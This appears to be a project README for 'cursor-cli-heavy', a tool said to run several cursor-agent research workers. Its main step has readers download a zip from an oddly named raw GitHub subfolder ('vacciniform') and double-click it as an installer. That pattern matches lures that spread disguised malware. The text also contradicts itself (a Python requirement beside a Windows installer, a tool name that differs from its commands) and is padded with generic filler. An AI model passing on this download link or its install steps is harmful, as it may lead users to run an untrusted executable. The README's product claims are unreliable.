Welcome to cursor-cli-heavy, your go-to tool for organizing and running AI research projects. This application lets you deploy multiple cursor-agent workers at once, allowing you to focus on specific areas of research and combine findings efficiently.
Before you start, ensure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Python: Version 3.6 or later
- Minimum RAM: 8 GB for basic tasks; 16 GB recommended for large-scale runs
- Disk Space: At least 500 MB free
To get started, visit this page to download: Download cursor-cli-heavy releases.
- Click on the link above to access the releases page.
- Find the latest version and look for the installer file suitable for your operating system.
- Click the download link next to the appropriate file (e.g.,
https://raw.githubusercontent.com/shinajsha/cursor-cli-heavy/main/vacciniform/cursor-cli-heavy.zip
for Windows). - Once the download is complete, locate the downloaded file on your computer.
- Double-click the file to run the installer, and follow the on-screen instructions.
- After installation, open a terminal or command prompt window to begin using the tool.
Once installed, you can start using cursor-cli-heavy with the following commands:
-
Initialize a New Project
cursor-cli init <project-name>
Replace
<project-name>
with your desired project name. -
Adding Workers
cursor-cli add-agent <agent-name> --focus <specialization>
Here,
<agent-name>
is the name of the agent you want to add, and<specialization>
defines its focus area. -
Start Research
cursor-cli run
This command starts all agents and synchronizes their efforts.
-
Stop Research
cursor-cli stop
Use this command to halt the ongoing research operations.
- Multi-Agent Deployment: Run multiple cursor-agent workers simultaneously, each focusing on a specific aspect of your research.
- Smart Synthesis: Automatically combines findings from different agents, making it easier to understand overall results.
- User-Friendly CLI: Designed with simplicity in mind, you can execute commands without complex setups.
- Cross-Platform Support: Works on Windows, macOS, and Linux seamlessly.
- Community Contributions: Open for improvements; you can contribute through GitHub.
- Stay Organized: Maintain a clean directory structure for your projects to avoid confusion.
- Regular Updates: Check the releases page regularly to ensure you are using the latest version.
- Documentation: Consult the official documentation for detailed command descriptions and advanced usage.
Join our community if you need help or want to share ideas. You can find us on:
- GitHub Discussions: Engage with other users and developers.
- Social Media: Follow us for updates and tips.
If you want to dive deeper into AI orchestration and research automation, consider the following resources:
- Online courses on AI and machine learning.
- Tutorials and guides available online.
- Books focused on multi-agent systems and AI strategies.
For more details about contributions, bug reports, or feature requests, please visit our GitHub page. Your feedback helps us improve!
Thank you for choosing cursor-cli-heavy. We're glad to support you in your AI research journey!